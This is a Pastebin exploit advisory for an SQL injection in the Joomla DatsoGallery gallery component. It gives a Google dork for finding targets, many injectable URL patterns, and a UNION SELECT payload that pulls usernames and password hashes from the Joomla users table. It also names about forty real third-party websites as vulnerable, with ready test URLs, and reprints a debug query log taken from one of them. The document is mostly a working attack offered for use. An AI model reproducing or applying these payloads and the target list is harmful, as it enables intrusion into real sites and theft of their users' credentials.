API tools faq
paste
KingSkrupellos

Joomla DatsoGallery Components 3.4.4 SQL Injection

KingSkrupellos
Feb 13th, 2019
70
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.95 KB | None | 0 0
raw download clone embed print report
  1. ####################################################################
  2.  
  3. # Exploit Title : Joomla DatsoGallery Components 3.4.4 SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 14/02/2019
  7. # Vendor Homepage : datso.fr
  8. # Software Download Link : datso.fr/products.html
  9. # Software Information Link : extensions.joomla.org/extension/datsogallery/
  10. # Software Affected Versions : 3.4.4 and previous versions
  11. 1.3.6.1 - 1.3.8 ~ 1.5 ~ 1.14 ~ 1.6 ~ 1.6.2 - 1.7.1 - 1.20 - 1.8.8 - 1.8.4 - 1.8.9 - 1.9.5
  12. # Software Prices : 20$ - 60$ - 120$ - 240$
  13. # Software Technical Requirements :
  14. DatsoGallery Multilingual is a native Joomla! and Mambo 4.6.x gallery component
  15. DatsoGallery Multilingual is a native Joomla! and Mambo [ No Version ] gallery component
  16. # Tested On : Windows and Linux
  17. # Category : WebApps
  18. # Exploit Risk : High
  19. # Google Dorks : inurl:''/index.php?option=com_datsogallery''
  20. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  21. Special Elements used in an SQL Command ('SQL Injection') ]
  22. # Old Similar CVE => CVE-2008-1540 => nvd.nist.gov/vuln/detail/CVE-2008-1540
  23. # Old Similar CVE => CVE-2008-5208 => cvedetails.com/cve/CVE-2008-5208/
  24. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  25. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  26. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  27.  
  28. ####################################################################
  29.  
  30. # Description about Software :
  31. ***************************
  32. DatsoGallery component help you quickly and effortlessly create a multi-functional
  33.  
  34. photo gallery. The intuitive interface makes it easy to manage the component and its content.
  35.  
  36. A lot of settings allows you to organize the gallery, meet within acceptable to your requirements.
  37.  
  38. It's a powerful image gallery component, which help you quickly and effortlessly
  39.  
  40. create a beautiful and multi-functional photo gallery on your web site.
  41.  
  42. ####################################################################
  43.  
  44. # Impact :
  45. ***********
  46. Joomla DatsoGallery 3.4.4 and other versions -
  47.  
  48. component for Joomla is prone to an SQL-injection vulnerability because it
  49.  
  50. fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  51.  
  52. Exploiting this issue could allow an attacker to compromise the application,
  53.  
  54. access or modify data, or exploit latent vulnerabilities in the underlying database.
  55.  
  56. A remote attacker can send a specially crafted request to the vulnerable application
  57.  
  58. and execute arbitrary SQL commands in application`s database.
  59.  
  60. Further exploitation of this vulnerability may result in unauthorized data manipulation.
  61.  
  62. An attacker can exploit this issue using a browser.
  63.  
  64. ####################################################################
  65.  
  66. # SQL Injection Exploit :
  67. **********************
  68. /index.php?option=com_datsogallery&Itemid=[SQL Injection]
  69.  
  70. /index.php?option=com_datsogallery&func=detail&id=[SQL Injection]
  71.  
  72. /index.php?option=com_datsogallery&func=wmark&oid=[SQL Injection]
  73.  
  74. /index.php?option=com_datsogallery&Itemid=[ID-NUMBER]&func=detail&id=[SQL Injection]
  75.  
  76. /index.php?option=com_datsogallery&task=image&catid=[ID-NUMBER]&id=[ID-NUMBER]&Itemid=[SQL Injection]
  77.  
  78. /index.php?option=com_datsogallery&func=detail&catid=[ID-NUMBER]&id=[ID-NUMBER]&Itemid=&Itemid=[SQL Injection]
  79.  
  80. /index.php?option=com_datsogallery&task=sbox&catid=[ID-NUMBER]&id=[SQL Injection]&format=raw
  81.  
  82. /index.php?option=com_datsogallery&func=slideshow&catid=[ID-NUMBER]&id=[SQL Injection]&format=raw
  83.  
  84. /index.php?option=com_datsogallery&func=special&sorting=lastadd&Itemid=[SQL Injection]
  85.  
  86. /index.php?option=com_datsogallery&Itemid=[ID-NUMBER]&func=viewcategory&catid=[SQL Injection]
  87.  
  88. /index.php?option=com_datsogallery&func=download&id=[ID-NUMBER]&Itemid=[SQL Injection]
  89.  
  90. /index.php?option=com_datsogallery&task=downloads&Itemid=[SQL Injection]
  91.  
  92. /index.php?option=com_datsogallery&func=special&sorting=lastadd&Itemid=[SQL Injection]
  93.  
  94. /index.php?option=com_datsogallery&func=lastadded&Itemid=[ID-NUMBER]&limitstart=[SQL Injection]
  95.  
  96. /index.php?option=com_datsogallery&Itemid=[ID-NUMBER]&func=viewcategory&catid=[ID-NUMBER]&startpage=[SQL Injection]
  97.  
  98. /index.php?option=com_datsogallery&Itemid=[SQL Injection]&func=special&sorting=lastcomment
  99.  
  100. /index.php?option=com_datsogallery&Itemid=[ID-NUMBER]&func=detail&catid=[ID-NUMBER]&id=[SQL Injection]&lang=hu
  101.  
  102. # Information Disclosure Exploit :
  103. *****************************
  104. /administrator/components/com_datsogallery/datsogallery.xml
  105.  
  106. # Example SQL Injection Payload :
  107. *******************************
  108.  
  109. 'union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8,9,0,1,2,3,4,5+from+jos_users/*
  110.  
  111. ####################################################################
  112.  
  113. # Example Vulnerable Sites :
  114. *************************
  115. [+] fcassan.fr/index.php?option=com_datsogallery&Itemid=0&func=detail&id=2219%27
  116.  
  117. [+] prapodnichkennel.hu/index.php?option=com_datsogallery&Itemid=40&func=detail&catid=2&id=47%27
  118.  
  119. [+] abusheikha.com/ds/index.php?option=com_datsogallery&task=image&catid=1&id=4&Itemid=150%27
  120.  
  121. [+] aziendaagricolagiuliana.it/index.php?option=com_datsogallery&func=slideshow&catid=7&id=136&format=raw
  122.  
  123. [+] elmigraphic.ir/index.php?option=com_datsogallery&task=sbox&catid=9&id=42&format=raw
  124.  
  125. [+] istitutoplateja.it/sct/index.php?option=com_datsogallery&Itemid=55&func=viewcategory&catid=8%27
  126.  
  127. [+] levissi.com/levissi/index.php?option=com_datsogallery&Itemid=27&func=detail&id=63%27
  128.  
  129. [+] en.kamieniarstwo.rzeszow.pl/index.php?option=com_datsogallery&Itemid=42&func=detail&id=196%27
  130.  
  131. [+] otelparpali.com/index.php?option=com_datsogallery&Itemid=0&func=detail&catid=2&id=31%27
  132.  
  133. [+] dunyaengelliler.org.tr/index.php?option=com_datsogallery&func=detail&catid=2&id=64&Itemid=6%27
  134.  
  135. [+] rehberturk.de/index.php?option=com_datsogallery&Itemid=33&func=viewcategory&catid=7%27
  136.  
  137. [+] grupobetel.com.co/granos.grupobetel.com.co/index.php?option=com_datsogallery&func=slideshow&catid=1&id=12&format=raw
  138.  
  139. [+] akmedder.org.tr/index.php?option=com_datsogallery&view=image&catid=5&id=60&Itemid=164%27
  140.  
  141. [+] ecet-egy.com/index.php?option=com_datsogallery&Itemid=0&func=detail&catid=6&id=100%27
  142.  
  143. [+] comunebreme.it/index.php?option=com_datsogallery&func=viewcategory&catid=2&Itemid=208%27
  144.  
  145. [+] novapekaren.sk/index.php?option=com_datsogallery&Itemid=57&func=detail&id=2258%27
  146.  
  147. [+] kopaonik-komita.com/index.php?option=com_datsogallery&func=special&sorting=lastadd&Itemid=1%27
  148.  
  149. [+] mmgalway.com/index.php?option=com_datsogallery&Itemid=7&func=viewcategory&catid=1%27
  150.  
  151. [+] xn--b1apfhdpdb.xn--p1ai/index.php?option=com_datsogallery&Itemid=42%27
  152.  
  153. [+] agrodam.cz/hokej/index.php?option=com_datsogallery&func=download&id=291&Itemid=28%27
  154.  
  155. [+] zusnovadubnica.sk/index.php/index.php?option=com_datsogallery&func=wmark&oid=77%27
  156.  
  157. [+] lapiazzetta.org/index.php?option=com_datsogallery&Itemid=60&func=detail&catid=10&id=540%27
  158.  
  159. [+] gynpaucin.sk/index.php?option=com_datsogallery&task=sbox&catid=4&id=442&format=raw
  160.  
  161. [+] sadra-co.com/en/index.php?option=com_datsogallery&Itemid=75%27
  162.  
  163. [+] solidaritemadagascar.fr/index.php?option=com_datsogallery&Itemid=123&func=detail&id=79%27
  164.  
  165. [+] lift.ru/index.php?option=com_datsogallery&Itemid=44&func=detail&catid=7&id=46%27
  166.  
  167. [+] roska-teplice.cz/index.php?option=com_datsogallery&Itemid=15&func=detail&catid=11&id=63%27
  168.  
  169. [+] cclv38.free.fr/home/index.php?option=com_datsogallery&Itemid=48&func=detail&id=123%27
  170.  
  171. [+] ulrg.ru/index.php?option=com_datsogallery&Itemid=116&func=detail&catid=4&id=969%27
  172.  
  173. [+] muvfex.jo/index.php?option=com_datsogallery&func=lastadded&Itemid=93&limitstart=12%27
  174.  
  175. [+] cms.elosoavila.org/index.php?option=com_datsogallery&Itemid=30&func=detail&catid=3&id=16%27
  176.  
  177. [+] uk-plitka-ru.1gb.ru/index.php?option=com_datsogallery&func=detail&catid=88&id=454&Itemid=&Itemid=41%27
  178.  
  179. [+] shkolatmz7.ru/index.php?option=com_datsogallery&Itemid=0&func=detail&catid=38&id=394%27
  180.  
  181. [+] k-s-i.org/index.php?option=com_datsogallery&Itemid=194&func=detail&catid=1&id=2%27
  182.  
  183. [+] en.kamieniarstwo.rzeszow.pl/index.php?option=com_datsogallery&Itemid=42&func=viewcategory&catid=7%27
  184.  
  185. [+] tkd.ee/old/index.php?option=com_datsogallery&Itemid=72&func=viewcategory&catid=145&startpage=10%27
  186.  
  187. [+] levissi.com/levissi/index.php?option=com_datsogallery&Itemid=27&func=detail&id=72%27
  188.  
  189. [+] kevserisi.com.tr/index.php?option=com_datsogallery&func=viewcategory&catid=12&Itemid=139%27
  190.  
  191. [+] remarose.etouchsite.com/index.php?option=com_datsogallery&task=sbox&catid=8&id=149&format=raw
  192.  
  193. [+] gaspargabor.festomester.hu/ggjoomla/index.php?option=com_datsogallery&Itemid=30&func=special&sorting=lastcomment
  194.  
  195. [+] joomla.demo.c4.cz/index.php?option=com_datsogallery&Itemid=10%27
  196.  
  197. [+] bonusclub.cz/index.php?option=com_datsogallery&Itemid=0&func=detail&catid=1&id=4%27
  198.  
  199. [+] gss.hu/index.php?option=com_datsogallery&Itemid=39&func=viewcategory&catid=2&Itemid=42%27
  200.  
  201. [+] cuvelier-roy.com/index.php%3Foption=com_datsogallery&Itemid=38&func=viewcategory&catid=2.html
  202.  
  203. [+] blhovce.sk/old/index.php?option=com_datsogallery&Itemid=9&func=detail&catid=9&id=158&lang=hu
  204.  
  205. [+] roska-teplice.cz/index.php?option=com_datsogallery&Itemid=1&func=detail&catid=6&id=39%27
  206.  
  207. ####################################################################
  208.  
  209. # Example SQL Database Errors :
  210. ****************************
  211. 30 queries executed
  212. 1
  213. SET sql_mode = 'MYSQL40'
  214. 2
  215. SELECT folder, element, published, params
  216. FROM jos_mambots
  217. WHERE published >= 1
  218. AND access <= 0
  219. AND folder = 'system'
  220. ORDER BY ordering
  221. 3
  222. SELECT template
  223. FROM jos_templates_menu
  224. WHERE client_id = 0
  225. AND ( menuid = 0 OR menuid = 99999999 )
  226. ORDER BY menuid DESC
  227. LIMIT 1
  228. 4
  229. DELETE FROM jos_session
  230. WHERE (
  231. ( time < '1550015982' )
  232. AND guest = 0
  233. AND gid > 0
  234. ) OR (
  235. ( time < '1550015982' )
  236. AND guest = 1
  237. AND userid = 0
  238. )
  239. 5
  240. SELECT *
  241. FROM jos_menu
  242. WHERE published = 1 AND
  243. link LIKE 'index.php?option=com\_datsogallery%'
  244. 6
  245. select a.*, cc.name as category from jos_datsogallery as a, jos_datsogallery_catg as cc
  246. where a.catid=cc.cid and a.id=2219 and cc.access<='0'
  247. 7
  248. select * from jos_datsogallery_catg where cid=141 and published=1 and access<='0'
  249. 8
  250. select * from jos_datsogallery_catg where cid=3 and published=1 and access<='0'
  251. 9
  252. select c.access from jos_datsogallery_catg as c left join jos_datsogallery as a on a.catid=c.cid where a.id= '2219'
  253. 10
  254. select a.id, a.catid, a.imgtitle, a.imgauthor, a.imgtext, a.imgdate, a.imgcounter, a.imgvotes, a.imgvotesum, a.published,
  255. a.imgoriginalname, a.imgfilename, a.imgthumbname, a.owner, u.id FROM jos_datsogallery as a left join jos_users
  256. as u on u.username=a.owner where a.id='2219' and a.approved=1
  257. 11
  258. select a.id, a.catid, a.imgtitle, a.imgauthor, a.imgtext, a.imgdate, a.imgcounter, a.imgvotes, a.imgvotesum,
  259. a.published, a.imgoriginalname, a.imgfilename, a.imgthumbname, a.owner, u.id FROM jos_datsogallery as a
  260. left join jos_users as u on u.username=a.owner where a.id='2219' and a.approved=1
  261. 12
  262. SELECT id, imgfilename FROM jos_datsogallery WHERE catid=141 ORDER BY id DESC
  263. 13
  264. UPDATE jos_datsogallery SET imgcounter='286' WHERE id=2219
  265. 14
  266. SELECT a.*
  267. FROM jos_components AS a
  268. WHERE ( a.admin_menu_link = 'option=com_syndicate' OR a.admin_menu_link =
  269. 'option=com_syndicate&hidemainmenu=1' )
  270. AND a.option = 'com_syndicate'
  271. 15
  272. SELECT id, title, module, position, content, showtitle, params
  273. FROM jos_modules AS m
  274. INNER JOIN jos_modules_menu AS mm ON mm.moduleid = m.id
  275. WHERE m.published = 1
  276. AND m.access <= 0
  277. AND m.client_id != 1
  278. AND ( mm.menuid = 0 )
  279. ORDER BY ordering
  280. 16
  281. SELECT m.*
  282. FROM jos_menu AS m
  283. WHERE menutype = 'topmenu'
  284. AND published = 1
  285. AND access <= 0
  286. AND parent = 0
  287. ORDER BY ordering
  288. 17
  289. SELECT m.*
  290. FROM jos_menu AS m
  291. WHERE menutype = 'mainmenu'
  292. AND published = 1
  293. AND access <= 0
  294. ORDER BY parent, ordering
  295. 18
  296. SELECT COUNT( id )
  297. FROM jos_menu
  298. WHERE type = 'content_item_link'
  299. AND published = 1
  300. 19
  301. SELECT id
  302. FROM jos_menu
  303. WHERE type = 'content_item_link'
  304. AND published = 1
  305. AND link = 'index.php?option=com_content&task=view&id=1'
  306. 20
  307. SELECT id
  308. FROM jos_menu
  309. WHERE type = 'content_item_link'
  310. AND published = 1
  311. AND link = 'index.php?option=com_content&task=view&id=13'
  312. 21
  313. SELECT id
  314. FROM jos_menu
  315. WHERE type = 'content_item_link'
  316. AND published = 1
  317. AND link = 'index.php?option=com_content&task=view&id=12'
  318. 22
  319. SELECT id
  320. FROM jos_menu
  321. WHERE type = 'content_item_link'
  322. AND published = 1
  323. AND link = 'index.php?option=com_content&task=view&id=14'
  324. 23
  325. SELECT id
  326. FROM jos_menu
  327. WHERE type = 'content_item_link'
  328. AND published = 1
  329. AND link = 'index.php?option=com_content&task=view&id=15'
  330. 24
  331. SELECT id
  332. FROM jos_menu
  333. WHERE type = 'content_item_link'
  334. AND published = 1
  335. AND link = 'index.php?option=com_content&task=view&id=16'
  336. 25
  337. SELECT id
  338. FROM jos_menu
  339. WHERE type = 'content_item_link'
  340. AND published = 1
  341. AND link = 'index.php?option=com_content&task=view&id=17'
  342. 26
  343. SELECT id
  344. FROM jos_menu
  345. WHERE type = 'content_item_link'
  346. AND published = 1
  347. AND link = 'index.php?option=com_content&task=view&id=18'
  348. 27
  349. SELECT id
  350. FROM jos_menu
  351. WHERE type = 'content_item_link'
  352. AND published = 1
  353. AND link = 'index.php?option=com_content&task=view&id=23'
  354. 28
  355. SELECT id
  356. FROM jos_menu
  357. WHERE type = 'content_item_link'
  358. AND published = 1
  359. AND link = 'index.php?option=com_content&task=view&id=38'
  360. 29
  361. SELECT id
  362. FROM jos_menu
  363. WHERE type = 'content_item_link'
  364. AND published = 1
  365. AND link = 'index.php?option=com_content&task=view&id=46'
  366. 30
  367. SELECT id, name, link, parent, type, menutype, access
  368. FROM jos_menu
  369. WHERE published = 1
  370. AND access <= 0
  371. ORDER BY menutype, parent, ordering
  372.  
  373. Strict Standards: Non-static method JSite::getMenu() should not be called
  374. statically in /home/abusheik/public_html/ds/components
  375. /com_datsogallery/datsogallery.php on line 20
  376.  
  377. ####################################################################
  378.  
  379. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  380.  
  381. ####################################################################
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!